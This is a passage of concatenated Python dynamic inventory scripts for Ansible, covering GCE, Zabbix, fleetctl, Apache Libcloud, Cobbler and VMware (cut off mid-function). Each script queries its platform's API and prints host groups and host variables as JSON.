        parser = argparse.ArgumentParser(
                description='Produce an Ansible Inventory file based on GCE')
        parser.add_argument('--list', action='store_true', default=True,
                           help='List instances (default: True)')
        parser.add_argument('--host', action='store',
                           help='Get all information about an instance')
        parser.add_argument('--pretty', action='store_true', default=False,
                           help='Pretty format (default: False)')
        self.args = parser.parse_args()


    def node_to_dict(self, inst):
        md = {}

        if inst is None:
            return {}

        if inst.extra['metadata'].has_key('items'):
            for entry in inst.extra['metadata']['items']:
                md[entry['key']] = entry['value']

        net = inst.extra['networkInterfaces'][0]['network'].split('/')[-1]
        # default to exernal IP unless user has specified they prefer internal
        if self.ip_type == 'internal':
            ssh_host = inst.private_ips[0]
        else:
            ssh_host = inst.public_ips[0] if len(inst.public_ips) >= 1 else inst.private_ips[0]

        return {
            'gce_uuid': inst.uuid,
            'gce_id': inst.id,
            'gce_image': inst.image,
            'gce_machine_type': inst.size,
            'gce_private_ip': inst.private_ips[0],
            'gce_public_ip': inst.public_ips[0] if len(inst.public_ips) >= 1 else None,
            'gce_name': inst.name,
            'gce_description': inst.extra['description'],
            'gce_status': inst.extra['status'],
            'gce_zone': inst.extra['zone'].name,
            'gce_tags': inst.extra['tags'],
            'gce_metadata': md,
            'gce_network': net,
            # Hosts don't have a public name, so we add an IP
            'ansible_ssh_host': ssh_host
        }

    def get_instance(self, instance_name):
        '''Gets details about a specific instance '''
        try:
            return self.driver.ex_get_node(instance_name)
        except Exception as e:
            return None

    def group_instances(self, zones=None):
        '''Group all instances'''
        groups = {}
        meta = {}
        meta["hostvars"] = {}

        for node in self.driver.list_nodes():

            # This check filters on the desired instance states defined in the
            # config file with the instance_states config option.
            #
            # If the instance_states list is _empty_ then _ALL_ states are returned.
            #
            # If the instance_states list is _populated_ then check the current
            # state against the instance_states list
            if self.instance_states and not node.extra['status'] in self.instance_states:
                continue

            name = node.name

            meta["hostvars"][name] = self.node_to_dict(node)

            zone = node.extra['zone'].name

            # To avoid making multiple requests per zone
            # we list all nodes and then filter the results
            if zones and zone not in zones:
                continue

            if groups.has_key(zone): groups[zone].append(name)
            else: groups[zone] = [name]

            tags = node.extra['tags']
            for t in tags:
                if t.startswith('group-'):
                    tag = t[6:]
                else:
                    tag = 'tag_%s' % t
                if groups.has_key(tag): groups[tag].append(name)
                else: groups[tag] = [name]

            net = node.extra['networkInterfaces'][0]['network'].split('/')[-1]
            net = 'network_%s' % net
            if groups.has_key(net): groups[net].append(name)
            else: groups[net] = [name]

            machine_type = node.size
            if groups.has_key(machine_type): groups[machine_type].append(name)
            else: groups[machine_type] = [name]

            image = node.image and node.image or 'persistent_disk'
            if groups.has_key(image): groups[image].append(name)
            else: groups[image] = [name]

            status = node.extra['status']
            stat = 'status_%s' % status.lower()
            if groups.has_key(stat): groups[stat].append(name)
            else: groups[stat] = [name]

        groups["_meta"] = meta

        return groups

    def json_format_dict(self, data, pretty=False):
        ''' Converts a dict to a JSON object and dumps it as a formatted
        string '''

        if pretty:
            return json.dumps(data, sort_keys=True, indent=2)
        else:
            return json.dumps(data)


# Run the script
GceInventory()






#!/usr/bin/env python

# (c) 2013, Greg Buehler
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

######################################################################

"""
Zabbix Server external inventory script.
========================================

Returns hosts and hostgroups from Zabbix Server.

Configuration is read from `zabbix.ini`.

Tested with Zabbix Server 2.0.6.
"""

from __future__ import print_function

import os, sys
import argparse
import ConfigParser

try:
    from zabbix_api import ZabbixAPI
except:
    print("Error: Zabbix API library must be installed: pip install zabbix-api.",
          file=sys.stderr)
    sys.exit(1)

try:
    import json
except:
    import simplejson as json

class ZabbixInventory(object):

    def read_settings(self):
        config = ConfigParser.SafeConfigParser()
        conf_path = './zabbix.ini'
        if not os.path.exists(conf_path):
	        conf_path = os.path.dirname(os.path.realpath(__file__)) + '/zabbix.ini'
        if os.path.exists(conf_path):
	        config.read(conf_path)
        # server
        if config.has_option('zabbix', 'server'):
            self.zabbix_server = config.get('zabbix', 'server')

        # login
        if config.has_option('zabbix', 'username'):
            self.zabbix_username = config.get('zabbix', 'username')
        if config.has_option('zabbix', 'password'):
            self.zabbix_password = config.get('zabbix', 'password')

    def read_cli(self):
        parser = argparse.ArgumentParser()
        parser.add_argument('--host')
        parser.add_argument('--list', action='store_true')
        self.options = parser.parse_args()

    def hoststub(self):
        return {
            'hosts': []
        }

    def get_host(self, api, name):
        data = {}
        return data

    def get_list(self, api):
        hostsData = api.host.get({'output': 'extend', 'selectGroups': 'extend'})

        data = {}
        data[self.defaultgroup] = self.hoststub()

        for host in hostsData:
            hostname = host['name']
            data[self.defaultgroup]['hosts'].append(hostname)

            for group in host['groups']:
                groupname = group['name']

                if not groupname in data:
                    data[groupname] = self.hoststub()

                data[groupname]['hosts'].append(hostname)

        return data

    def __init__(self):

        self.defaultgroup = 'group_all'
        self.zabbix_server = None
        self.zabbix_username = None
        self.zabbix_password = None

        self.read_settings()
        self.read_cli()

        if self.zabbix_server and self.zabbix_username:
            try:
                api = ZabbixAPI(server=self.zabbix_server)
                api.login(user=self.zabbix_username, password=self.zabbix_password)
            except BaseException as e:
                print("Error: Could not login to Zabbix server. Check your zabbix.ini.", file=sys.stderr)
                sys.exit(1)

            if self.options.host:
                data = self.get_host(api, self.options.host)
                print(json.dumps(data, indent=2))

            elif self.options.list:
                data = self.get_list(api)
                print(json.dumps(data, indent=2))

            else:
                print("usage: --list  ..OR.. --host <hostname>", file=sys.stderr)
                sys.exit(1)

        else:
            print("Error: Configuration of server and credentials are required. See zabbix.ini.", file=sys.stderr)
            sys.exit(1)

ZabbixInventory()






#!/usr/bin/env python
"""
fleetctl base external inventory script. Automatically finds the IPs of the booted coreos instances and
returns it under the host group 'coreos'
"""

# Copyright (C) 2014  Andrew Rothstein <andrew.rothstein at gmail.com>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

#
# Thanks to the vagrant.py inventory script for giving me the basic structure
# of this.
#

import sys
import subprocess
import re
import string
from optparse import OptionParser
try:
    import json
except:
    import simplejson as json

# Options
#------------------------------

parser = OptionParser(usage="%prog [options] --list | --host <machine>")
parser.add_option('--list', default=False, dest="list", action="store_true",
                  help="Produce a JSON consumable grouping of servers in your fleet")
parser.add_option('--host', default=None, dest="host",
                  help="Generate additional host specific details for given host for Ansible")
(options, args) = parser.parse_args()

#
# helper functions
#

def get_ssh_config():
    configs = []
    for box in list_running_boxes():
        config = get_a_ssh_config(box)
        configs.append(config)
    return configs

#list all the running instances in the fleet
def list_running_boxes():
    boxes = []
    for line in subprocess.check_output(["fleetctl", "list-machines"]).split('\n'):
        matcher = re.search("[^\s]+[\s]+([^\s]+).+", line)
        if matcher and matcher.group(1) != "IP":
            boxes.append(matcher.group(1))

    return boxes

def get_a_ssh_config(box_name):
    config = {}
    config['Host'] = box_name
    config['ansible_ssh_user'] = 'core'
    config['ansible_python_interpreter'] = '/opt/bin/python'
    return config

# List out servers that vagrant has running
#------------------------------
if options.list:
    ssh_config = get_ssh_config()
    hosts = { 'coreos': []}
    
    for data in ssh_config:
        hosts['coreos'].append(data['Host'])

    print(json.dumps(hosts))
    sys.exit(1)

# Get out the host details
#------------------------------
elif options.host:
    result = {}
    ssh_config = get_ssh_config()

    details = filter(lambda x: (x['Host'] == options.host), ssh_config)
    if len(details) > 0:
        #pass through the port, in case it's non standard.
        result = details[0]
        result

    print(json.dumps(result))
    sys.exit(1)


# Print out help
#------------------------------
else:
    parser.print_help()
    sys.exit(1)






#!/usr/bin/env python

# (c) 2013, Sebastien Goasguen <runseb@gmail.com>
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

######################################################################

'''
Apache Libcloud generic external inventory script
=================================

Generates inventory that Ansible can understand by making API request to
Cloud providers using the Apache libcloud library.

This script also assumes there is a libcloud.ini file alongside it

'''

import sys
import os
import argparse
import re
from time import time
import ConfigParser

from six import iteritems, string_types
from libcloud.compute.types import Provider
from libcloud.compute.providers import get_driver
import libcloud.security as sec

try:
    import json
except ImportError:
    import simplejson as json


class LibcloudInventory(object):
    def __init__(self):
        ''' Main execution path '''

        # Inventory grouped by instance IDs, tags, security groups, regions,
        # and availability zones
        self.inventory = {}

        # Index of hostname (address) to instance ID
        self.index = {}

        # Read settings and parse CLI arguments
        self.read_settings()
        self.parse_cli_args()

        # Cache
        if self.args.refresh_cache:
            self.do_api_calls_update_cache()
        elif not self.is_cache_valid():
            self.do_api_calls_update_cache()

        # Data to print
        if self.args.host:
            data_to_print = self.get_host_info()

        elif self.args.list:
            # Display list of instances for inventory
            if len(self.inventory) == 0:
                data_to_print = self.get_inventory_from_cache()
            else:
                data_to_print = self.json_format_dict(self.inventory, True)

        print(data_to_print)


    def is_cache_valid(self):
        ''' Determines if the cache files have expired, or if it is still valid '''

        if os.path.isfile(self.cache_path_cache):
            mod_time = os.path.getmtime(self.cache_path_cache)
            current_time = time()
            if (mod_time + self.cache_max_age) > current_time:
                if os.path.isfile(self.cache_path_index):
                    return True

        return False


    def read_settings(self):
        ''' Reads the settings from the libcloud.ini file '''

        config = ConfigParser.SafeConfigParser()
        libcloud_default_ini_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'libcloud.ini')
        libcloud_ini_path = os.environ.get('LIBCLOUD_INI_PATH', libcloud_default_ini_path)
        config.read(libcloud_ini_path)

        if not config.has_section('driver'):
            raise ValueError('libcloud.ini file must contain a [driver] section')

        if config.has_option('driver', 'provider'):
            self.provider = config.get('driver','provider')
        else:
            raise ValueError('libcloud.ini does not have a provider defined')

        if config.has_option('driver', 'key'):
            self.key = config.get('driver','key')
        else:
            raise ValueError('libcloud.ini does not have a key defined')

        if config.has_option('driver', 'secret'):
            self.secret = config.get('driver','secret')
        else:
            raise ValueError('libcloud.ini does not have a secret defined')

        if config.has_option('driver', 'host'):
            self.host = config.get('driver', 'host')
        if config.has_option('driver', 'secure'):
            self.secure = config.get('driver', 'secure')
        if config.has_option('driver', 'verify_ssl_cert'):
            self.verify_ssl_cert = config.get('driver', 'verify_ssl_cert')
        if config.has_option('driver', 'port'):
            self.port = config.get('driver', 'port')
        if config.has_option('driver', 'path'):
            self.path = config.get('driver', 'path')
        if config.has_option('driver', 'api_version'):
            self.api_version = config.get('driver', 'api_version')    

        Driver = get_driver(getattr(Provider, self.provider))

        self.conn = Driver(key=self.key, secret=self.secret, secure=self.secure,
                           host=self.host, path=self.path)

        # Cache related
        cache_path = config.get('cache', 'cache_path')
        self.cache_path_cache = cache_path + "/ansible-libcloud.cache"
        self.cache_path_index = cache_path + "/ansible-libcloud.index"
        self.cache_max_age = config.getint('cache', 'cache_max_age')
        

    def parse_cli_args(self):
        '''
        Command line argument processing
        '''

        parser = argparse.ArgumentParser(description='Produce an Ansible Inventory file based on libcloud supported providers')
        parser.add_argument('--list', action='store_true', default=True,
                           help='List instances (default: True)')
        parser.add_argument('--host', action='store',
                           help='Get all the variables about a specific instance')
        parser.add_argument('--refresh-cache', action='store_true', default=False,
                           help='Force refresh of cache by making API requests to libcloud supported providers (default: False - use cache files)')
        self.args = parser.parse_args()


    def do_api_calls_update_cache(self):
        ''' 
        Do API calls to a location, and save data in cache files 
        '''

        self.get_nodes()

        self.write_to_cache(self.inventory, self.cache_path_cache)
        self.write_to_cache(self.index, self.cache_path_index)


    def get_nodes(self):
        '''
        Gets the list of all nodes
        '''

        for node in self.conn.list_nodes():
            self.add_node(node)


    def get_node(self, node_id):
        '''
        Gets details about a specific node
        '''

        return [node for node in self.conn.list_nodes() if node.id == node_id][0]


    def add_node(self, node):
        '''
        Adds a node to the inventory and index, as long as it is
        addressable 
        '''

        # Only want running instances
        if node.state != 0:
            return

        # Select the best destination address
        if not node.public_ips == []:
            dest = node.public_ips[0]
        if not dest:
            # Skip instances we cannot address (e.g. private VPC subnet)
            return

        # Add to index
        self.index[dest] = node.name

        # Inventory: Group by instance ID (always a group of 1)
        self.inventory[node.name] = [dest]
        '''
        # Inventory: Group by region
        self.push(self.inventory, region, dest)

        # Inventory: Group by availability zone
        self.push(self.inventory, node.placement, dest)

        # Inventory: Group by instance type
        self.push(self.inventory, self.to_safe('type_' + node.instance_type), dest)
        '''
        # Inventory: Group by key pair
        if node.extra['key_name']:
            self.push(self.inventory, self.to_safe('key_' + node.extra['key_name']), dest)
            
        # Inventory: Group by security group, quick thing to handle single sg
        if node.extra['security_group']:
            self.push(self.inventory, self.to_safe('sg_' + node.extra['security_group'][0]), dest)

        # Inventory: Group by tag
        if node.extra['tags']:
            for tagkey in node.extra['tags'].keys():
                self.push(self.inventory, self.to_safe('tag_' + tagkey + '_' + node.extra['tags'][tagkey]), dest)

    def get_host_info(self):
        '''
        Get variables about a specific host
        '''

        if len(self.index) == 0:
            # Need to load index from cache
            self.load_index_from_cache()

        if not self.args.host in self.index:
            # try updating the cache
            self.do_api_calls_update_cache()
            if not self.args.host in self.index:
                # host migh not exist anymore
                return self.json_format_dict({}, True)

        node_id = self.index[self.args.host]

        node = self.get_node(node_id)
        instance_vars = {}
        for key in vars(instance):
            value = getattr(instance, key)
            key = self.to_safe('ec2_' + key)

            # Handle complex types
            if isinstance(value, (int, bool)):
                instance_vars[key] = value
            elif isinstance(value, string_types):
                instance_vars[key] = value.strip()
            elif value is None:
                instance_vars[key] = ''
            elif key == 'ec2_region':
                instance_vars[key] = value.name
            elif key == 'ec2_tags':
                for k, v in iteritems(value):
                    key = self.to_safe('ec2_tag_' + k)
                    instance_vars[key] = v
            elif key == 'ec2_groups':
                group_ids = []
                group_names = []
                for group in value:
                    group_ids.append(group.id)
                    group_names.append(group.name)
                instance_vars["ec2_security_group_ids"] = ','.join(group_ids)
                instance_vars["ec2_security_group_names"] = ','.join(group_names)
            else:
                pass
                # TODO Product codes if someone finds them useful
                #print(key)
                #print(type(value))
                #print(value)

        return self.json_format_dict(instance_vars, True)


    def push(self, my_dict, key, element):
        '''
        Pushed an element onto an array that may not have been defined in
        the dict
        '''

        if key in my_dict:
            my_dict[key].append(element);
        else:
            my_dict[key] = [element]


    def get_inventory_from_cache(self):
        '''
        Reads the inventory from the cache file and returns it as a JSON
        object
        '''

        cache = open(self.cache_path_cache, 'r')
        json_inventory = cache.read()
        return json_inventory


    def load_index_from_cache(self):
        '''
        Reads the index from the cache file sets self.index
        '''

        cache = open(self.cache_path_index, 'r')
        json_index = cache.read()
        self.index = json.loads(json_index)


    def write_to_cache(self, data, filename):
        '''
        Writes data in JSON format to a file
        '''

        json_data = self.json_format_dict(data, True)
        cache = open(filename, 'w')
        cache.write(json_data)
        cache.close()


    def to_safe(self, word):
        '''
        Converts 'bad' characters in a string to underscores so they can be
        used as Ansible groups
        '''

        return re.sub("[^A-Za-z0-9\-]", "_", word)


    def json_format_dict(self, data, pretty=False):
        '''
        Converts a dict to a JSON object and dumps it as a formatted
        string
        '''

        if pretty:
            return json.dumps(data, sort_keys=True, indent=2)
        else:
            return json.dumps(data)

def main():
    LibcloudInventory()

if __name__ == '__main__':
	main()






#!/usr/bin/env python

"""
Cobbler external inventory script
=================================

Ansible has a feature where instead of reading from /etc/ansible/hosts
as a text file, it can query external programs to obtain the list
of hosts, groups the hosts are in, and even variables to assign to each host.

To use this, copy this file over /etc/ansible/hosts and chmod +x the file.
This, more or less, allows you to keep one central database containing
info about all of your managed instances.

This script is an example of sourcing that data from Cobbler
(http://cobbler.github.com).  With cobbler each --mgmt-class in cobbler
will correspond to a group in Ansible, and --ks-meta variables will be
passed down for use in templates or even in argument lines.

NOTE: The cobbler system names will not be used.  Make sure a
cobbler --dns-name is set for each cobbler system.   If a system
appears with two DNS names we do not add it twice because we don't want
ansible talking to it twice.  The first one found will be used. If no
--dns-name is set the system will NOT be visible to ansible.  We do
not add cobbler system names because there is no requirement in cobbler
that those correspond to addresses.

See http://ansible.github.com/api.html for more info

Tested with Cobbler 2.0.11.

Changelog:
    - 2015-06-21 dmccue: Modified to support run-once _meta retrieval, results in
         higher performance at ansible startup.  Groups are determined by owner rather than
         default mgmt_classes.  DNS name determined from hostname. cobbler values are written
         to a 'cobbler' fact namespace

    - 2013-09-01 pgehres: Refactored implementation to make use of caching and to
        limit the number of connections to external cobbler server for performance.
        Added use of cobbler.ini file to configure settings. Tested with Cobbler 2.4.0

"""

# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

######################################################################

import argparse
import ConfigParser
import os
import re
from time import time
import xmlrpclib

try:
    import json
except ImportError:
    import simplejson as json

from six import iteritems

# NOTE -- this file assumes Ansible is being accessed FROM the cobbler
# server, so it does not attempt to login with a username and password.
# this will be addressed in a future version of this script.

orderby_keyname = 'owners'  # alternatively 'mgmt_classes'


class CobblerInventory(object):

    def __init__(self):

        """ Main execution path """
        self.conn = None

        self.inventory = dict()  # A list of groups and the hosts in that group
        self.cache = dict()  # Details about hosts in the inventory

        # Read settings and parse CLI arguments
        self.read_settings()
        self.parse_cli_args()

        # Cache
        if self.args.refresh_cache:
            self.update_cache()
        elif not self.is_cache_valid():
            self.update_cache()
        else:
            self.load_inventory_from_cache()
            self.load_cache_from_cache()

        data_to_print = ""

        # Data to print
        if self.args.host:
            data_to_print += self.get_host_info()
        else:
            self.inventory['_meta'] = { 'hostvars': {} }
            for hostname in self.cache:
                self.inventory['_meta']['hostvars'][hostname] = {'cobbler': self.cache[hostname] }
            data_to_print += self.json_format_dict(self.inventory, True)

        print(data_to_print)

    def _connect(self):
        if not self.conn:
            self.conn = xmlrpclib.Server(self.cobbler_host, allow_none=True)
            self.token = None
            if self.cobbler_username is not None:
                self.token = self.conn.login(self.cobbler_username, self.cobbler_password)

    def is_cache_valid(self):
        """ Determines if the cache files have expired, or if it is still valid """

        if os.path.isfile(self.cache_path_cache):
            mod_time = os.path.getmtime(self.cache_path_cache)
            current_time = time()
            if (mod_time + self.cache_max_age) > current_time:
                if os.path.isfile(self.cache_path_inventory):
                    return True

        return False

    def read_settings(self):
        """ Reads the settings from the cobbler.ini file """

        config = ConfigParser.SafeConfigParser()
        config.read(os.path.dirname(os.path.realpath(__file__)) + '/cobbler.ini')

        self.cobbler_host = config.get('cobbler', 'host')
        self.cobbler_username = None
        self.cobbler_password = None
        if config.has_option('cobbler', 'username'):
            self.cobbler_username = config.get('cobbler', 'username')
        if config.has_option('cobbler', 'password'):
            self.cobbler_password = config.get('cobbler', 'password')

        # Cache related
        cache_path = config.get('cobbler', 'cache_path')
        self.cache_path_cache = cache_path + "/ansible-cobbler.cache"
        self.cache_path_inventory = cache_path + "/ansible-cobbler.index"
        self.cache_max_age = config.getint('cobbler', 'cache_max_age')

    def parse_cli_args(self):
        """ Command line argument processing """

        parser = argparse.ArgumentParser(description='Produce an Ansible Inventory file based on Cobbler')
        parser.add_argument('--list', action='store_true', default=True, help='List instances (default: True)')
        parser.add_argument('--host', action='store', help='Get all the variables about a specific instance')
        parser.add_argument('--refresh-cache', action='store_true', default=False,
                            help='Force refresh of cache by making API requests to cobbler (default: False - use cache files)')
        self.args = parser.parse_args()

    def update_cache(self):
        """ Make calls to cobbler and save the output in a cache """

        self._connect()
        self.groups = dict()
        self.hosts = dict()
        if self.token is not None:
            data = self.conn.get_systems(self.token)
        else:
            data = self.conn.get_systems()

        for host in data:
            # Get the FQDN for the host and add it to the right groups
            dns_name = host['hostname'] #None
            ksmeta = None
            interfaces = host['interfaces']
            # hostname is often empty for non-static IP hosts
            if dns_name == '':
                for (iname, ivalue) in iteritems(interfaces):
                    if ivalue['management'] or not ivalue['static']:
                        this_dns_name = ivalue.get('dns_name', None)
                        if this_dns_name is not None and this_dns_name is not "":
                            dns_name = this_dns_name

            if dns_name == '':
                continue

            status = host['status']
            profile = host['profile']
            classes = host[orderby_keyname]

            if status not in self.inventory:
                self.inventory[status] = []
            self.inventory[status].append(dns_name)

            if profile not in self.inventory:
                self.inventory[profile] = []
            self.inventory[profile].append(dns_name)

            for cls in classes:
                if cls not in self.inventory:
                    self.inventory[cls] = []
                self.inventory[cls].append(dns_name)

            # Since we already have all of the data for the host, update the host details as well

            # The old way was ksmeta only -- provide backwards compatibility

            self.cache[dns_name] = host
            if "ks_meta" in host:
                for key, value in iteritems(host["ks_meta"]):
                    self.cache[dns_name][key] = value

        self.write_to_cache(self.cache, self.cache_path_cache)
        self.write_to_cache(self.inventory, self.cache_path_inventory)

    def get_host_info(self):
        """ Get variables about a specific host """

        if not self.cache or len(self.cache) == 0:
            # Need to load index from cache
            self.load_cache_from_cache()

        if not self.args.host in self.cache:
            # try updating the cache
            self.update_cache()

            if not self.args.host in self.cache:
                # host might not exist anymore
                return self.json_format_dict({}, True)

        return self.json_format_dict(self.cache[self.args.host], True)

    def push(self, my_dict, key, element):
        """ Pushed an element onto an array that may not have been defined in the dict """

        if key in my_dict:
            my_dict[key].append(element)
        else:
            my_dict[key] = [element]

    def load_inventory_from_cache(self):
        """ Reads the index from the cache file sets self.index """

        cache = open(self.cache_path_inventory, 'r')
        json_inventory = cache.read()
        self.inventory = json.loads(json_inventory)

    def load_cache_from_cache(self):
        """ Reads the cache from the cache file sets self.cache """

        cache = open(self.cache_path_cache, 'r')
        json_cache = cache.read()
        self.cache = json.loads(json_cache)

    def write_to_cache(self, data, filename):
        """ Writes data in JSON format to a file """
        json_data = self.json_format_dict(data, True)
        cache = open(filename, 'w')
        cache.write(json_data)
        cache.close()

    def to_safe(self, word):
        """ Converts 'bad' characters in a string to underscores so they can be used as Ansible groups """

        return re.sub("[^A-Za-z0-9\-]", "_", word)

    def json_format_dict(self, data, pretty=False):
        """ Converts a dict to a JSON object and dumps it as a formatted string """

        if pretty:
            return json.dumps(data, sort_keys=True, indent=2)
        else:
            return json.dumps(data)

CobblerInventory()






#!/usr/bin/env python

# Requirements
#   - pyvmomi >= 6.0.0.2016.4

# TODO:
#   * more jq examples
#   * optional folder heirarchy 

"""
$ jq '._meta.hostvars[].config' data.json | head
{
  "alternateguestname": "",
  "instanceuuid": "5035a5cd-b8e8-d717-e133-2d383eb0d675",
  "memoryhotaddenabled": false,
  "guestfullname": "Red Hat Enterprise Linux 7 (64-bit)",
  "changeversion": "2016-05-16T18:43:14.977925Z",
  "uuid": "4235fc97-5ddb-7a17-193b-9a3ac97dc7b4",
  "cpuhotremoveenabled": false,
  "vpmcenabled": false,
  "firmware": "bios",
"""

from __future__ import print_function

import argparse
import atexit
import datetime
import getpass
import jinja2
import os
import six
import ssl
import sys
import uuid

from collections import defaultdict
from six.moves import configparser
from time import time

HAS_PYVMOMI = False
try:
    from pyVmomi import vim
    from pyVim.connect import SmartConnect, Disconnect
    HAS_PYVMOMI = True
except ImportError:
    pass

try:
    import json
except ImportError:
    import simplejson as json

hasvcr = False
try:
    import vcr
    hasvcr = True
except ImportError:
    pass


class VMWareInventory(object):

    __name__ = 'VMWareInventory'

    instances = []
    debug = False
    load_dumpfile = None
    write_dumpfile = None
    maxlevel = 1
    lowerkeys = True
    config = None
    cache_max_age = None
    cache_path_cache = None
    cache_path_index = None
    server = None
    port = None
    username = None
    password = None
    host_filters = []
    groupby_patterns = []

    bad_types = ['Array', 'disabledMethod', 'declaredAlarmState']
    if (sys.version_info > (3, 0)):
        safe_types = [int, bool, str, float, None]
    else:
        safe_types = [int, long, bool, str, float, None]
    iter_types = [dict, list]
    skip_keys = ['dynamicproperty', 'dynamictype', 'managedby', 'childtype']


    def _empty_inventory(self):
        return {"_meta" : {"hostvars" : {}}}


    def __init__(self, load=True):
        self.inventory = self._empty_inventory()

        if load:
            # Read settings and parse CLI arguments
            self.parse_cli_args()
            self.read_settings()

            # Check the cache
            cache_valid = self.is_cache_valid()

            # Handle Cache
            if self.args.refresh_cache or not cache_valid:
                self.do_api_calls_update_cache()
            else:
                self.debugl('# loading inventory from cache')
                self.inventory = self.get_inventory_from_cache()

    def debugl(self, text):
        if self.args.debug:
            try:
                text = str(text)
            except UnicodeEncodeError:
                text = text.encode('ascii','ignore')                            
            print(text)

    def show(self):
        # Data to print
        data_to_print = None
        if self.args.host:
            data_to_print = self.get_host_info(self.args.host)
        elif self.args.list:
            # Display list of instances for inventory
            data_to_print = self.inventory
        return json.dumps(data_to_print, indent=2)


    def is_cache_valid(self):

        ''' Determines if the cache files have expired, or if it is still valid '''

        valid = False

        if os.path.isfile(self.cache_path_cache):
            mod_time = os.path.getmtime(self.cache_path_cache)
            current_time = time()
            if (mod_time + self.cache_max_age) > current_time:
                valid = True

        return valid


    def do_api_calls_update_cache(self):

        ''' Get instances and cache the data '''

        instances = self.get_instances()
        self.instances = instances
        self.inventory = self.instances_to_inventory(instances)
        self.write_to_cache(self.inventory, self.cache_path_cache)


    def write_to_cache(self, data, cache_path):

        ''' Dump inventory to json file '''

        with open(self.cache_path_cache, 'wb') as f:
            f.write(json.dumps(data))


    def get_inventory_from_cache(self):

        ''' Read in jsonified inventory '''

        jdata = None
        with open(self.cache_path_cache, 'rb') as f:
            jdata = f.read()
        return json.loads(jdata)


    def read_settings(self):

        ''' Reads the settings from the vmware_inventory.ini file '''

        scriptbasename = __file__
        scriptbasename = os.path.basename(scriptbasename)
        scriptbasename = scriptbasename.replace('.py', '')

        defaults = {'vmware': {
            'server': '',
            'port': 443,
            'username': '',
            'password': '',
            'ini_path': os.path.join(os.path.dirname(__file__), '%s.ini' % scriptbasename),
            'cache_name': 'ansible-vmware',
            'cache_path': '~/.ansible/tmp',
            'cache_max_age': 3600,
                        'max_object_level': 1,
                        'alias_pattern': '{{ config.name + "_" + config.uuid }}',
                        'host_pattern': '{{ guest.ipaddress }}',
                        'host_filters': '{{ guest.gueststate == "running" }}',
                        'groupby_patterns': '{{ guest.guestid }},{{ "templates" if config.template else "guests"}}',
                        'lower_var_keys': True }
           }

        if six.PY3:
            config = configparser.ConfigParser()
        else:
            config = configparser.SafeConfigParser()

        # where is the config?
        vmware_ini_path = os.environ.get('VMWARE_INI_PATH', defaults['vmware']['ini_path'])
        vmware_ini_path = os.path.expanduser(os.path.expandvars(vmware_ini_path))
        config.read(vmware_ini_path)

        # apply defaults
        for k,v in defaults['vmware'].iteritems():
            if not config.has_option('vmware', k):
                    config.set('vmware', k, str(v))

        # where is the cache?
        self.cache_dir = os.path.expanduser(config.get('vmware', 'cache_path'))
        if self.cache_dir and not os.path.exists(self.cache_dir):
            os.makedirs(self.cache_dir)

        # set the cache filename and max age
        cache_name = config.get('vmware', 'cache_name')
        self.cache_path_cache = self.cache_dir + "/%s.cache" % cache_name
        self.cache_max_age = int(config.getint('vmware', 'cache_max_age'))

        # mark the connection info 
        self.server =  os.environ.get('VMWARE_SERVER', config.get('vmware', 'server'))
        self.port = int(os.environ.get('VMWARE_PORT', config.get('vmware', 'port')))
        self.username = os.environ.get('VMWARE_USERNAME', config.get('vmware', 'username'))
        self.password = os.environ.get('VMWARE_PASSWORD', config.get('vmware', 'password'))

        # behavior control
        self.maxlevel = int(config.get('vmware', 'max_object_level'))
        self.lowerkeys = config.get('vmware', 'lower_var_keys')
        if type(self.lowerkeys) != bool:
            if str(self.lowerkeys).lower() in ['yes', 'true', '1']:
                self.lowerkeys = True
            else:    
                self.lowerkeys = False

        self.host_filters = list(config.get('vmware', 'host_filters').split(','))
        self.groupby_patterns = list(config.get('vmware', 'groupby_patterns').split(','))

        # save the config
        self.config = config    


    def parse_cli_args(self):

        ''' Command line argument processing '''

        parser = argparse.ArgumentParser(description='Produce an Ansible Inventory file based on PyVmomi')
        parser.add_argument('--debug', action='store_true', default=False,
                           help='show debug info')
        parser.add_argument('--list', action='store_true', default=True,
                           help='List instances (default: True)')
        parser.add_argument('--host', action='store',
                           help='Get all the variables about a specific instance')
        parser.add_argument('--refresh-cache', action='store_true', default=False,
                           help='Force refresh of cache by making API requests to VSphere (default: False - use cache files)')
        parser.add_argument('--max-instances', default=None, type=int,
                           help='maximum number of instances to retrieve')
        self.args = parser.parse_args()


    def get_instances(self):

        ''' Get a list of vm instances with pyvmomi '''

        instances = []        

        kwargs = {'host': self.server,
                      'user': self.username,
                      'pwd': self.password,
                      'port': int(self.port) }

        if hasattr(ssl, 'SSLContext'):
            # older ssl libs do not have an SSLContext method:
